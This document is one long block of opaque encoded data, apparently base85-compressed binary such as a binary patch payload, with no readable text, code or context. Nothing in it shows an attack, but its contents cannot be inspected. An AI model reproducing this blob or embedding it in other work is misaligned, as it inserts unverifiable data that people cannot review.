z&+L#bM-&B5$JYj`A@Kz2s3E~IJA6muRwBlZGRzJb8BKdMqgSZ<;*1xLwJ_^gh;`W* zi?VZ9(wYpEB@M~ZRgzP*ujFVn+|Zjua0;HlDdjgTP?einNMSM7JPJ-Dgn}C*L;|E; zscizB_I=Z}(vhFTYVy}g@joey^>DUKS35k|WtMQY(?E1+r-8~Hk~<xx_@%pdC&Wl6 zd}`-}Y`08_53>!?LCuMdT6+;6w3Z@#zI^zm6Fwy!WkXWA#xcvOF^$q`Ogj^=8Yd`S zjU%J!s$NFvs&|e~S3QE#RgW<EQt~FalDC9Ic10s6u$oE4Iv*uri;^)~T#P+LJB%W^ z^B03Hzx@0dY%?M?Jzuv`3;pF@;AhUZoH^$_UQt?H88R>Iy!lI4hlks(2_g2}cpmOw z*p^l_Gv(f*%>0m)s;t_kh?Lsuyd3|gMMFIwMus+W9-EhLFP_|(T9ch)3!0LYIt7wf z9326tcR@l{EjfYuje>sQfo6O?7BqcKXxcx#d4H>8NYj#b5%#1uZ<?2;{UtB-DG$vo z9ZwGan?Rxt_17HwSsaSPlb+mDOuW4Bfo6V<FDon(Qm=>9WAOd3l+92U0IdRG-ozw( zc36|fY!65t%Y;I`1&Z_Kz8Sx-eeT@$f|=>xTc)N?N($<XYH&ZAQf6<i?n+9wPqezm zHO**jObeWulbcpI#cn@*kCu^?nh~<=vdgb6TR$(oeclv@|J+7fZQ=BD0z=yB3#V9J zuC;6T*S9s!X$}we&q~Tj|FNwOE)cN)!9Cgkk<2DJPxq${6satR$xge_`ff3ADej8X znqASZ;`)`v#Vea?T3V{|>QhteLh`cOu$_}sSi8Bib8~Im>IDn?a_3f-&vVciR}U%^ zAtT>?Xk&~crKD|WY`&GL1<SOB<-v198uDj#bj-?c3Yi;Rxj3ZuBA07(T~_-vYhh{M z!i9b1<<@EEIH+wEc53mxO3RA9P|`95O&_PADa45fn#;$^n-=1Ql9nk9N!WITH~z>8 zxdUTJ%(JU5cMxTJO4FV!+2~jvECp3x;)-%LYq4GVj=I#;`n;-^mJlVW!X)?UvbL<e zHpjg3%DK6H3m2@W?*q}0SS#8k9M+57yRwXp8=DHw5dEZkV4yp{PLgTJ$tbtmE2b3H z*72-FS5e5#7jM033`+b`x0`B;I_bM^`yfGoEst&E<jGhrwc{=D6N)t!R=6GMsc{;u zTZ$9$4--7gJGEXRO_sWXdb{JfGrqfG%hKp2m(EG~X4abW@-?%H=gqL=F>B5o3i$a= z{|xsvTOV)*GzPV7zGsR1UzNkN+lDH0o4V3n8>hD|THG>!VQ1$;l6tkSL2+cwndixv zm?Tdh(~?yGDQsFZZQ8lB>Q<M#xA@JeE2tSaKW6<uc$&3!TE%Q#k*YS&8{gTLm*L;A zfY-ImY=RUN4Vv|^<4vQL!|j2-=YghM$AYH$d7;12^I}}u<EC+G<(X-Kno4+S+K+nk z{@Oz`OV3-c>#pL@;fnY0N7}ETnN~OCMJ*SL9w+5hWh~~Y!3vd-Xhw)qqT|UPdGT$Q z_PT=VP?DGXee3M9%Gn~ZZnMjEQ7s9qtJ5(B0&_ppJgb>ng)AWT9fT}%TGwHVgH~`F zOvATlHSOIyIq5imUKBJmHKr$>eucl(*huBdM;4=8BE}r7pQtsBeau2NH5nhOpzK%& zYZx4gWXn>Ano_#35`#lU#mtr{S3ynRw6ayzCG#TNN_v}W+c{6I%c*afeQ#QQjx{x_ ztgI{3Sv}m;JXBqf?Q%!r+ZhjC(q23}Ye{?i64HFd35^m5Wt(Tn{xBMvJ|;8`{|HLQ zpv8DFWCweog2oPoH_4k<&@7~&S*NM56SZ1ML&GW=9(g@vR{!5*l8zO{pZ^=Vd{<xZ z?)|T1gHd}0nu>PUW2LPeVSLTOHmU065i49lL5}(<rL(8Fic4nTOPl*$kzFz&f59~O zBfO%ev9;0tA|ym>f8ar_UxJJ=x{U1PL4XT_ORH4D(?*tg>@|m!-7B(9k}z%1SrN3p zk3>xFMt9RrG)am=s>}T@KjzM)f6sdQtHwsDXP}_UP~T9Pl4nxeC@8hLf~HOKLaD_F zioW}tv?;cnnTEb=D&fU$|IVA2+E`)FQhBjjZuis)*ik34H(vAX_B#Yw7OG5UB4HZ9 zm-{DWnRk>NmOunLG!i@V=yT`D9Xp5uUyP~G4Lp>d?wZ;55TAH+qun7wPJcD4MJ#S? zRM_y}n}}P&Mr+5bByCWEe=JEuQAq<8^@S7PCDa$r{0N?pMN+zd%zPIY>)!le<zu~Q z>|8$SWB2PP2d)|!8TlTpsc&2FN$lw(^OP-*m4y1fL2#@juyjQK$Bp(&WF5LmooEv% zHb%8*M2hXAOJ+4ulZp~sN@LTk)30INKpoU~AX@)^sMjG@Qql2w;HmJlk@-Pg?NLyE zP!IKBk@~2h`O)OPBdu}t!ZfMvamrwhOICKXq4OBpbnQnhqeTk}oR*WDZw(5Z?wC>L zO0>n;qFj@ba2Jsq#I(BF>dKjOSGsp|S3~K9vZ?OJxU05YMo7jkNCBQX`dTz@bpHYc z7bpZ3HcqLSlj$lepHiJJBCiO{tw=0dP(nSdu_d`C&;0_`N#UZ_JuYjSoau#9+bSs5 z+LRYk0bLIiW3UGU>7dG+2|V~+543}L43>MkQrkRV7sle4PwGgtyV~mApN(ey=El^? z%jH*xG3x+YWtg)PK`RXZwM)(l#?~lphMJ8Fo~`T&{jSUjn%7}@!m7e#)kYQ~1*)0C zOS1XgBpU@K*(hk5{JN^3Gzt(D{dBh+1(uG5$9}{Mr5Rk6NIp(;e)0g#;|d#%1&T(N zPU9QY)8>H|FyYBd@>h9D{uX>;ID!9gMyrctoUv6V<pQycvAQszN>+vmD)*C(b;YCY z^X9b|&Pp|{D-Jf#o7bG*n32(#KRzWYDrI~;-4EX5HznDg5pv6xtv6L{=t|R96l6u# zZ0>5?($JPWuL9PpV{S#oT*tqf)U4hHU7__S@d{6){QuY6o4~hKTz#OLD_e5B%eE}< zwk&J0E$_A@@2g~6wq@B?<ityMhv0;;1V|bZ2oNZ1XlWZ-mJ%R@vXla)Y;B<dlCl^2 z^`m7eZQ0t=G^LcXB=+_DpSkyHaT411e&6pwEa}dj<;<BgXU;Y=@*I-FGx&n0b1EVt zhs*C15;LY-hi9s*XNF6AYnCMLbq^1_E4$4lJ$r>8Y}2%L_%7`4ztERgTbwL@@#co< z=?(T}ot?|DM?odEMxG0)HGMeP0NSlpkEWuK;18x$wpoVOR9CMVYV>D)!`WR>(Cu{e z6c+aERZktyF=t3^m7Cvu(=}P!Fxl8NSzj{=<(kJ(VFi<W=7u9X8K!!!U(-k!w9Y!n zC`xM(QiQlb;*y%)QmJQc)9HzV@1v^j5_5MYI=Gj`B^TG`NzHY%X|{>AQm?3gSl`J0 zL3hYgbdhAI;+W*36)_;b>ecDr_r%4;ce~EmWNpZMhg~jie@sZbT<GZ-ENr%mzmOI| z(3MmhQUAXs>K`Ghl~RfNrBthxr*eLo7D}!76Y(iOXpnke87-@k8t|3w3x|7MW6ZL+ z-uC9s%$BC1@si4k&aUP4amzHuhLR>%PE+;hM2T}{V)aO^rp8rVVkpqZCzrOBSN4@v z4OMFL%CjqrbBogBl1f|bKpvo$Afdisy`foVC#a=V>Wh?W6{OS>f;yC1C9Tf9FX6lv zuK)Sb@5sCr5KW}$f)e3X*jTx2OG6D#q_uKwClr_^tzC-dqw_mfcdpqS>}7Dk?B3SV zF}&0|)MU4}d0N_9`q*dPYZ}&%_Ke5s)U^S}icS8uj<V*$;f{u?=KfAGp3@pW;)Ff& z+8FXC)Jc-g_MyQ*v1t!Po!9%kY)*_Zn<QxmbVK$crDQs+$&1Ry65T|U7uT^3QFT1m z)1%aa$U!xyKUF7GODKA>PeX>{0_c>jVMv5lQJjA!sxBIVT6j<Zj|MpAqgBPV^;(YW zaB2k>Z^#?as=oluXGk25BpNabP_w263Q*GyuLw9B+xi0jq|}MTjVstv@#&%d5#V|L z=%w1uUZQDU2dD$LwQ}k(Ni<D0W5nfD+m|OxwR{my1^4H9!TrC-x&QL;yKwEruZ2^= z{pAv-w>bAdjkv!A54gYFa=F|_C2q&W9OJ1Z1McPPuax_XQ0~$QII$|ob(Dd`6;A`5 zgUJ0Ma5Q{=XzKglpE@L@i9PIR^R)8;n1oi5#$%<pTY>x$a7XMseah_{^|_}u%z8Y? z?_p<&-(XM7AEm%GKrNM{e$x4$m}6X$kWvYYQmV9CN~we|N{wDE7uSQ;5>Pn+RWYEF zeIy2OP7*8~&pf{7>MPbgc5uzNzJ>T{;koC;Iq{R%DZ<~uSCur1c;V8n(+Rf^^#!Wp zRjqls+VuQGQ@7nP_1lz|hP_^0daV$LK0PsiZ#l(XNu{Yb;H1=>3K}&jm3kwkS~$m$ zQmHqTir(D8M}KX&M7W;fx5BA3I#NAlYU<-C`lvx4qr4=e%r8E{ZWkY5%L43NZ$P|; zOSDp6suv0Y!B<Z8N~r{&lxpQ%N=ha8q*No(jp85CXmHvqm8BS)6J_3$$b4AWVCQ7- zgR|$6^m}rPF{0xBqn+5N`AYk+_{1)22Tp}uWEn=w)NiuYhsTBBp?*uLHnoK1=v3=T zQ<X8Kyo4jFVeuH!yKtMz7*Z<DQmM^ynHDNBhFCp#D$UYMICdqBeG$rC8UYK@fm8?4 zfn<+Q1a_r(h_JkHG9w<Bhgjy&+Un}HL)Ny+6tWfu?9T4O!fxEDgU>`sUPv#=^~@g~ zEUof4PS(^<HZ@K*)K0oMO@E5`f9f51Ie<~FLy{#skz-U!wQ=A5;#BKNQ!W3Jv5y)E zqf`Sh`fWZdxQ|b&C){T7OW_iPQK`*xxt>bwUm%Q9Dq-{<1*52+Fe>FPjevzPDy5cv zN*I+icSUcET9vReebem?<Q3j379H#D6x!yWE-LT}JGk!4%aNy!L4xMGujDtC>kFlu zX-6n<N%8>q^7H)M|AqB%7$8(ZYn4~VF{{%My)xG6Uo3jJC_e-StM1;=EpAv04PgzD zJCICn;TUbal`z`aPAyBeY<dUmP%5`tOP0xJk@~Py;wQAqG%gL>3YB+A<@QO*f<^WG zLaK*butNQn?F@~aMxs+K>c*FO%V%&*pwCjggJhYIOK@uj)h^jekQ!mlAiKrSc>g4e zLgOl`sR_Nt_5qZU^rXfg@m7ZEowWAh9be@D!4LR5Zmp5l5qc-BF_GmYj!o|*j@|eW zFE>hcO5Bp(N!+rL^HAU(vz<~U{t#J0qGozWGzTa+|8MLj%DV*ji@yRdZ3+1h$3S^s z=~^R+CBm=sS$&7A{!C+jUQujt$#8q0cgd0jwJsr}I9;o4E3wv&<z!{DZB^wJb@7?S z#W`6q4UN6sJChPxn2=mts4lE%E;k#}G+8<vP$t9jI$%j4?VyvxB8jHaI<jwS$~QDU zJycpzQCf!J=xr<g{*|kS{VO}0>g$?YYU`STr5sd<Js(&-NJx{cY-E|CsIqLy?#Fda zXqDkD31n&V2QP^VE(@}s!X$J=iZBaMcp1y!dqgJC0(reP*v~|(<2pRs&;n#M9>a~` z?Pta75!c3Jbog67Q<ow)S*dzJ^8znbt6mKVv8r~$1i>ioUdP@JinYA_Isf>_{2pEl zazpy%ZSdS<B=_>%>1?m~Q_9T{7%aZ4<W7WyLAyDU(Pvr4NH<cj9tt`stW%>&EVbCQ z^{jGPP&_yI&XpB08GAqK=wV0a_k6T>??*y`IAv=gI!3z`xv3$~welPh`yU;9e~MUs z^byf8xYL|)Bw5JR6iQ;Gm=Z*(!W#GKUAIi%a@YJL{Ogt=Tg%ppw}`hW-#j9Zsf_T4 zH-JuRqx3eerfRhf21#Ruxjr&ZU+a`(&+PqM`_#*0*Y(#ASJV!ez25xxia>Ykn07+j zy`kNGM!Uu9WUWi>?ro`c6HOXtm$9X^x;c-rr7Y7?S>>oL*C4E}YRp;DZI9O_I7aH) zRzmoTikn?+(joAoPM2OMqy^`;;~z!L0(wNxViY}uP4#scanN}<FQN*qb&}7gP6Ihh zD*0jSpt>oxyx3G8)1)2<*VFH5DlRH2Zt~E0NHx+r03#=;ON!i4lU)Uv3Pn1vMxZkY zK&Qqx$mP(PtW}H+YFW+M;>(0-!mosD)XB?oid`d9YzZh<lD|!;GX-=`b~7hv%EXDu zl+l!%udZa9f`@FeZCwGIQ7A>Q(mA5Bn|rV^UVMGfsK9#Af@0mo$xHlMiBZ+?xP&l9 zK{c3BXvC=Vu$O}39|=z396qmzGHK1xkfjiHQXLefr=i_7c!vDP`Mie5#xXjpfb6y; zbxY7kNZr@AW@Kx#iw~~6^~M$NrZiOqbQx|4-F@t_`D@F06c{f}mVLH~<HV+l0Z!D! zQFs&}S@;U!>4=bt7Tfp`Evv&egbTX6FMwIEyL(3<xOQ!D>AH2L!G8Be!SM^-?hD6* z7r6r)C#Pm-rzSV@Q9)0_*xQD-C0&VpR768MC-E_Am5i9AV8Zu~c7B%Znsl~K*9Uv* z9ZPG1?96<7Uzuxz=aWymhb>*@|3nZPpl<=6=$EMkql#E-Jq08&I3fV7k^L+9={;g= zkQD{R`n?~0v^NmI0PMj4pmdDNiM|`<(z4wfg}`E{FrU>g2E|PF5yI-v4bsT*;ykP# zdY&nwZ7R(zLka{mhoWlwSMct;uMgK20w%If%rDeQm{F59Ms<aH!h+&I<bFKzh<Zxy zgcL0tia8zw(28Txl&%CFPbllc?}9w)IJ_vZ72;>KE}%UVa6$8p_Hbcbwow1MaV5OQ zFr=BrtGDjny|ub}#P1)eW-~yGc;sB%@)PLl?Cue7CoG{hinDR@exwqGjnTNA6t;r> z<BOp~Y-m7PwL$=*POMJYVM+9#Oa3c)1_LC_U>N^UefnaEWAkzgS<dG{e}<6XWdCcB z<*hpX^i_H3&Gq%o=@FCM-dz&a56}iJ>$C#JV>YId^*aJ1oDrc*XpbA2On)4=Y(49& zt>UA>yjODbM_O7&@|F4sA#4SD^cf+D=CvGqjCoGcxYBN|a;ypYi{i};ChlP6Y6vka za8@-)N{RBHy(E1qWvo*Q^Y0u>olL)^Rs1V6$ie<s>>8hzc0x^$Uvwqw3!tS6a2SdQ zS6Y&JwqhmKN}d&N942{!+0n*iYM?`Eqa%<qm2vSbj}5;V?Ob^gTG%x?b#eFf_^vCY z%>`(OYat}Rl7CS{vKji!pZN|cJR>e^@!lPI4-N9WI8JD+DF)S`U|uWjlce|^CHO^8 zFm4MbSNf`nPxLn;u=;s63B-Ss^NQ1YKl!9{gm?vo8`FHJeOEnPN~75dZU;ZNWTOYG z!`=+|$m{f2ghL?{?2>iU)9YrYr^Sk3-p{wXaDkz-sw(xtgHJ#7(9;JWOyz^y7zq6P z(wlDHz5C{yE~W9riooYEk7&diiActD*)UzF){!qBYz}MWx4ysfzW(8+P2P8d*ZBH+ zhj}DpRn`h`&#F4{KBnq!Ywe=?2p1H0lBX(?s4#>J;+zc%xEj5J5c@!7&*?3mUCX96 z_&V+GNTf8M?(W|NmecF@hY&-$leEiNjk(2VtML@GHHA$dTRdIU0)dB5n69)FUnPtK zYT_oevVgyANr&eSQ`7+S5=fiG94%(8P7NW7qKvuUctd)l@!n!r`sq{460_5GrROA! z?+=bWyYAU-_`^1d-!Wr-b#=Y?hcAp-S;jBeW#R=83EIVj(jNwz_B}{+o{RXHX5u~$ zL@Q((3e--A6OndW4b0>g3j)2;Ph9Pk$-t-G%6NTzk-w<IRg$MG$VxCI=&c<srlI_# zoP(#>BEftUYBh^VOwwg6VS+k-c}$ET#AIY9Ct~}Oc+08xPVn1_IDf-vND<Y9EsEXH zs{i`d<a1TGruCLrCKp*#_k--t6jGZ#0c*qjN1$shRt=&MlCAmvXTAz8mQcS4Zr-<d z;)Z?muk5>FV(-2iM)$t`_FhFkRlYg@#yL8uk@g0};8c)Ak~rM7JX<4$u)hW`ix$K7 z-qA?)Map8F=O`;QGysB&=2_(KL#)yB??>!FB&aZl7w<w0OG97d90Gn*S@Tb%T{76b zphRkqvmc03to8?izz0$B+JFap?>S%RRL|jwhzn;&gY!otV#7Ix7RQGR5i37=MF}yd zl4AZ9yg6Eq;WeI2mXTyeTFJ5cj_E>kJc8eubf|2~Aqhnd!5Uh7!>q2y$7l3mh1*7O zUz!it4-D>F%(<~7b0a!fmbrO!aKyZk_Y0Ah25X8EO{WAOM$M20_U3!1nhIcySP@UP z^$c)IGAY3!$)x3gfue&YYfJ&)C2I_Mp+CkM8DD~j)N!7T$qTmaaJC5zkRG+k>X6%e zk*8Iw!R}^z<*3DCDH&`nwxkAYS__@!20^E*@2}`u-_(AFyTWa?blEFBR>mwnsU@YB z-J`2_jpe20Tk=@bSW#+G&1kn!(PnHvtAFU6R=?d>TRTu*j{QGAFnY-|m;uXj3iL}@ ze<3AEQWFjhz@icsp17Z$qADidp4#N=8JgU%{LVY8T&}7+uc&Qlsl7r-8}6xViRo!_ zk9f<9Ep~62sn`lG`W+x34)trOZoaenJ8X;iSgDZaEfzCrZIyD6#qYbo7Oadzgfl7i zhky_+tdMr@)Uk(x;<da6_S^>_h%UJvlqi*3;w7XR#oH@owTF3uzj(cWk+aiUO7lqZ zh+-b_ooW#pm6qlO%}ab|R27-D)vPA)&9eA`-YSUEDRluuT~!U+04K+D;+uWlKYZhj zy<YF$KmHLtk|PT-{tt6{T^t1%8IgCA$Ud&4tArsyCq*W4p11`o46Qc!OefZ8#CO6i zt8Td=a05Q)Z&-DM_ys=L67h42SfXzn0m47U&q-?`pQakN<1$Wzq4>CZ3u*3|ve2MJ zb%QLi4;U1{$~sm%a95b8vDwp!*zZbbOI>AC%w*igz|_Y6cGf$3UZS<HCdN`}H`{9% z&Sqhy#YN`g{MZh!-(B9Ckd!#=g7n5zD*(iC^oe{J=m*~vt6mZKaBbjE@EL7p*8}LQ z#PfkaDJR+NZ|4+Y<90SFmFPrDEq;UO7cwZcP6bn{C_NizWt`1)Viojk)%oJ_Fly)* z+L6jqjdx0vhj3KJHOe$j8H$V^(z3H_vh!nXY<=L6QQOfRFq_!<eEeVR_fknn^+G*L zf}>-!;822WPyVrz_%pxr?ahJhr|-l}5SOxhQE0h%7nFnBr5>>Pa1RJKobK>F85m`^ zjs<8u-}8Fkqi>oqlHHT|3)ww+WEJ9v)A)`juC1GN6KsEAj?=+&qKiwgpm#)4pv)%{ z4+S+))Ut+Kg(0m0_Drdc&|Wv;DfT~4QQ(^>c>}11G&oMd;Q_^Bj~6^E=#2sGbYK<u zFZA(r^pKU0?C9;?F)~V@qrsV(;L@2H`_k;T&AokRv|$fo@8-5Zu)jY@f8xA)YHmMo z8_>e%2Us#W2HZdcVE|7djeL<peotb>VAa$afsTf1k0rngNygqWyJwGk#N1PPEf5P{ z2-y4Nk$@D#S4PZ!=&<y^k$oEY@%iF#U@jm|VWMNYV>DgtIh3XI8dW$ONufiMfl!3Z zeTpvb3Iy1n#dnvU$A^>3&L8Ci3Y`J%`Xb6kY2s8qvL1Gfps<E&Qy`%r#Za9Tg+I$N z64Jya=7C-a=m77+kAE!uK!#sXjR5{^z@VIgqF=0wjs&hbYumQ7uDPZU|6L=bJu^Py zA0Mc!tf~U$ARR;dmP$+7_X*{>_8l0eI);a-j$t+nRD`P$!5n}})CP_ZTPxv`>ma0k zt6@A{3{m_oy-_eplp0wjY9Q@n40WZ*r{d5$=HxSzjIgA2pHOe?5}M`z4g_eDe->z5 zwqnJy#>R@8nu^A#DX+9tZLg>y?F=pTa~#MT_v&!nG>D|`85E71X{36^ivzu^L@(7Y zS4e1Jv0m>Jykg8WIa&sD^-EB@plZe3%>gG@^x%+$Bdgq!9m+{gRs=z^>VDd?-QT*Z zBWWVV>+ByL?RR)nCXzZ<l^i)D$G9Qv%GJvEKsZ{1RUdoNN*h|qjci3$w<YaTYYGQP zag&v;MXKN79U1XDdHt(fycDFr=15{yu+`B*)uWYV)lxv+$6-Gj`2uDCkuf3;R!N12 z@JW&kj2F_}KS>NLQi=DH#vT<BOrwHcG@%!geG7CN73mLoi_7z%uqeHGbLV7L)nsQE zeTwS>J>S32)zac}wzMR6>{z~hM~C#8NF(*W*Sqhu6)V@TU%BEmU=8z#&$}cZ<Lu;; zULDO~lQzAsLDHT_E^cbyy#BSog<spgb7xaW$J=^e-O$+l(U)IlhKDN4%PT>*+29E= z;G>zCThJAVn^<LxV^xu(rLlEGvNw{b#?XnCfyBf*x5eqV2V9NqL*Fe;&q)b%cZ)aS zfDiGvDYn|Inu#{Vc{&FNhP>kQd%bDK%+EjX_6zS&yqz@j`q1iESkY*0+NI1p_rQSr znim*UE%BDA;L@pqhMHQ(mt?JoB`YvaiJ?1&!y2?x)}XPOK2n3WTI&oZL<N~qck)<D zPstBTdQ!$#wJtFlF3vPAY5i7k<;&||UW-5R1ws8=Ye|Xqw-4r|q~tuvip6)1zDfU~ z1F*Vdv?<;*4^|9t<gEy~l{Du%{D23I47F$(s<Yul#UNxh@y2A7W#x3`S}OAm$%ayh zTh@%UqK2CMj;!p8S56Wr`s<}BX-tSu(xt~SmXSV|lopegnH<kp_9rI~A!RBvutV}E zuteH2H!VoY@`nc}ZazCB&}fJ+u1da|htqU5wRz2E@e)YU3G!N@Xto*T7vkEj`6L1& z7K{0xpC}~m-QV)Zy<u@ET2hSR>mbF&D{V;iM`_P*2X;maS9>3<imZ|<NBK!W+l87G zIhL=f(u^aG7wiAgfS4^wIkb?`gbGPIm`x;OP;8He)`ZoBr#dwW<V<*J;^vztUV<c^ zCXTTm&L7=-h)(`g@)IQkv*VyAYq-=kto?bV9NbUl$g)yfjT}~a?KeZSR-%d62Z8zd zh=?KrHY%z}P`LqXH!q(f%MOZGy+{)IN8o!=vIwv11bGBJjXal<74kVQaYb1rft~*! zcH{sGN$#fD3rX&VkQ_17NY{oXlIvSvF{M_qOCLSS!~ygC_@pxg?Mm_`wF`*?+#gXi zkadAu`9wi3V?(;8vjmqt@dR0ZgbU^`Lmp@th;V+LG(uR}!vUq>k{T^JVQZmzBi0n$ z7-ljYouN<IZEY>~?p_+a)LYzQ+x=y6lRX=IPMRm{vh7X9f!yV1I5*xgHFd{E=NZd$ z0|EQs`livHy}dg}o7NB7!R-XH(~&n!@^P;wHlrpE2L=s$A)2Vu8`BMHA*R%6PQ5ZN zH@Dr@-kW))CfSf?67{b(|2Vt3mOYu9?``cDyL358V4Uq@1@H{p750KkdovbAU@Ag| zU>@lUn2bfDGw_t)@OP07tJvaYpNPrQ?kJ|JlP!w%;q}jH2qVUzRgeKEs8esXgii7U z*Tf#my1{ch%0^omw(B-;aNCy+X1NO2R@ysF_HH9M`aoIPKwa@bPnIKRbakp@Wn0~d zBS9Bm-c#WmtI96VbDOJks){O|S!|fG;<mEVHd9u4UT;Aa)NaI>0yYaqOSal<Wd?Q< z<{V|U*~YT`;$PMco!!!M_K=T`knz>_TCKgcHGNiV-+Cs-h{8G2A%l|#ww!ZdBH+1r zeEG#5&&A8fFZR&P0ahs{fpZDcclbIgxx8536RRv$dXM-5Hj5;CGplXnI3wDV{D6F4 z{TA7NBT<p8HFFD-Hd)Z(1cR!rvo$SwMeS7s;|UXqS8VCu;4E3{?HI2R*i{2x+w97* z*Or)_MZP}Gh8^|Ot&ZUyYq6&@S87MbNF^UFD->}K9<?Py%GdvhR<#XWS=TVjmL0Ln zHA_3n2dm2ZD_t&go7vOV?bc4jZ#&Js-Z?fhzP{_+)H9c9I$ha~)m5$efy^44v(Ztd z@vp54Hg}Drq{VOW^{k?<Djr;532_#y8;m%ui((k`IPMeMJomHUR4|Cs31e>bv3EpU z;KrkD6|ltjumiV{$RhXQ$(S<XXiKA75oItTS(*E^*4T--;a2xpNq1G*kZ!7qZ5RKy zC^fady|CxB#<nw3YbTmDEv-ujYWuCF7Is}gJeFE$)3<N#?LCuDI94dgNZuMrzLP{H zg{~vR5ke6y+(OPO{bx7lcWxYRU*=4nNNjFy4pa$g3C@u^&xWS<Gy6Qjk?!h2yR|R1 zf6vUa8_(;;ahY*twcVG`#FVs}vGde-c57hyur~-BNX;O(A1Jg1oN+24H)^t4|BKdh zhQ$lnAG=q#6>NU%mC1l_aPRl-n24MKbnkhC(gV!ADAT2EkBQo~lCC&UAn`N1=bWx7 zT)jQuTHW5h#_4Snh9<kt?)6Og{lg;@o<?_fb5oBywR(knXeKQ~H`L`?R#&&o)itEc zNShgQuc!`mcDD@-v~_o~>Bh#omX^B4Mxuf!>`MDSrM(IYVG@hr9&pSFgXA8Pw=S@< zDD1X0H7~6UWB07y5O#&v`>$PpD)cV%_m9iyjZr0IZqV6-30QYX%2Ulm;J{f7n84*B z;&Hzi1=EF;BjWz7qIc=i-rl7_Pfo_pgv#w2O{G02qiWeM58O@s^Shf?tk}45#fnWW zx|fWVp1!VBOJ=VpSxlL@>zs2AOims+2ggSOD+(M-$X+x90Ur{$N$*_jkzoa0H5K-( zRml-e>|?ua6}3zpjjA%D&O)N&t;PluMTGH9Aml|cfYWlLEZk1X!eSPA7mIr`x1iKs z-_z95tLca>Dak5{&rGkkmnB^m*>+P#X=<jySzX)aZd8|;@^aF%(-ZQu>f7Et6*M-I zq$Mm{PXq>?mi2PP&}eZ^)(IGI87ZkPGIg{!b!j>TV_{K2ab9+Ixy5R>nS>5?%TNS# z-)(mq>l5QG#Z}EM_Lz+P0z-CAqbWbnSdgWzYWqPngs=|Cv_Sj`5qUFp4bZTlXzA;$ z&J!&EY@o~GXnXA8&6^7&THH6$^pDT#ny$M}{8@DE;SuJ$R6<mSjX7um>cm&~+SWPL z(w0@4n6&TBtky(Rp2=8hDllPOdRrq}|E{OqHJF^duIW!{dV7)CV#re0G(>kZ+{<k2 zBXlSuK?K2JFhIqW<d{rnu>~##2`=s8VX(K4`I-tV6V%n#f<jGOLQ{*&UFh#LmqTGG zG1zQnwn(`8I^Eq_X^s}XK~r7bI@7vrs>yE7Do(SNnC<UIAu5cgM9fFk);d}k!SP^x zSWF84>?m|u#kt4Lb-B$EjqP)9ovpPuRc}1!?@={}=ehwpa20O<SxklCdeG_ciJpi2 z;E3f4{XWU`_m-P-i#pm`JBxBl$_6~<vNE%!wA7McSeTE$f(W?2+uUGsro>xIsvM50 z5^H?2%hb@^l%Jn(wc_K6+}zCU?9AL;aa|PDCmS!>wl14xxE4xNB?Pq=oaqEmi!naK zoiu7imGPlb^I)W`mNKR{WkrI@he#Q;%uEd0&uFOln29$>0SL)D5%Xq{&f-zS)uPf0 zW))kQK1sS|;oXy_!>@DFblWM?aYMmL^Or%ZIa#~qr^s(d`ihgliCYF1rlD=h{erEh z5a*`AOSst9gS9_Oj!c*MDHbnzEpzh00sTa*V-5?mOR}T%*}c}`Sli7%-JQdQZdXfF zLYt<rz*?=2uPkcvjkQ_JY_=?uo|Pe%W$RWtxRO45JXfq<^L3Bs>uXkD;bEUoEyJKy zSHr{C;z-Ntc6at+ij~;XinGkL7g1St|I3pzPaz7+CvBfh2nHU%vG4_Zj$N%G3Q&nZ zN6K3eb9b`cNU_K%2axg*&jTwI&vPqEJ<e0$)8;9Ak>_c4DM~@(;wg6^&m%kqW6V=- zLdws1DF{hC<sOu}pSOioTznF(hx1fW9$-OE!5RyAAbZdn{vSuH;y;WEyZWnePk3R? z>^b2TM1le@gca7!cEU!fA*|r}0G=P>?|~CM--`T?^JicL&wKIyY4TqaKJa`8-ao>h ziQ>^uJpY{M2QKh@59?z0^Y_3+)O+B8ups6Czr}*^%2#0lt)ed!zX`oe3*5u-!eF6e z<5&Bx7B9sII}ER!N^HVTeI?fOmoZksvalBAECTdaa26~4ZbVnMg)dOoiSKQyGx_^8 zy!QyNpuBZq6H21|9F@1Ju9eDjSWYZos#?e2!v-dF@bb2WuSw-${vmq2@Pzi4N5EI6 z+Q#1(p#3HpzG12SXH>pIwUfWkz<Wf~0lu<@vm?q^sJ<TYp5V7FoF|n(E|r(w>qF)3 zRG#|x_sI9(Sok((qE()W%Ym`C7H-B&ERts;r5r%YLp%@7L`u08r5@)gG!rRhFY-Li z3gwwdDR&^xBRqv>BBk7fl%MlbG!rT19+bMDw?#9NPFoJ=p_#ax&qQA8|CR=s^($#m zt;|HeF9F7a&WN==q{m@d)neZa^q(M!_Dg&1l~v{T%359FHw#&FNSyEU^z?grJAAC} z@3qiU<vC5ZqRs}G6rn}H8ri%m3(g$YEwb7Qo45n{<hf2Zt}zmAC}<;6`vynS!knzH z(;rAGv)89*#zXKfiS5wzb~N?W+e-^_pJd%-ZS`6C36QjN@=PV_Mt56nwbPK9TAD#8 zQOewd<{SDaFGSP^*Y!_mO!CUxeJ$z^!DKUAE#=wSdBp`qg+`%6)78}8VJfOE8DY(B zRqCt)V_v?gF(=zlke?A_Z)vV7w!|ma8=VlP1cggU+I=SkXIwHt+P$@|fq5T(tj*zg zU^DBUsQc_6O%va~4$NBNV-y`54Jm|CnD6x_NhAeIn60rFIDp7oYJ~8c*qZg`zNEy` zthSaR*4$8|&N5icMRtAKpPJSsCl9*X$tDxc<@iXGkS*)*p{hgUu0eDREAQ|}t-uMD zg~|$SD9K>BR;F1YF@ydj3oUvjb6@h>^ARRzYqFsKIJeIHIE%5m3Rzd{IUB2+?6tF7 z-Qb1_oRU;3)1>U^;VTqGJD?y0C&{M~Ix6UNpsXafsI#@LqbS!@?(HS{ljKlY24&3< zJYC6Q!7~L{37kamq%l-r`9EDB|I^AKmaq)ml(a@#87Rt%OdMtGp}9WxAj|OKKUg)6 z{}#DklXE3d6r+@{4&Mpv@G%WLw3Ho^vZH`-e2>ZjuVx24N0^ga8Eupxf6%=wR-Bt< zG2+~@ZJG%O)8OZEaqjn2X8yzfRA%ng7$K^RI;x$N$d+Pxo009sUL-z)u*c)Pc?XLH zC{ok!C}40HoME_ULU6MmiE}Jw79X+4Us4x3af=W-A|5Beft@|7a4A3$E@$91M3nyW z+?cDLMD$AR=~P!_J-=7#gv;?f)e&|jyPrJqGY!VtHZ{%+#~-*F&J8yeSE^0L$!e2$ z9veu@Ov@=PF0|%kWTod6j3pH{loprfAT>QJBga~J#Ah&>aN4!W(B4qc-C|arRDxK) 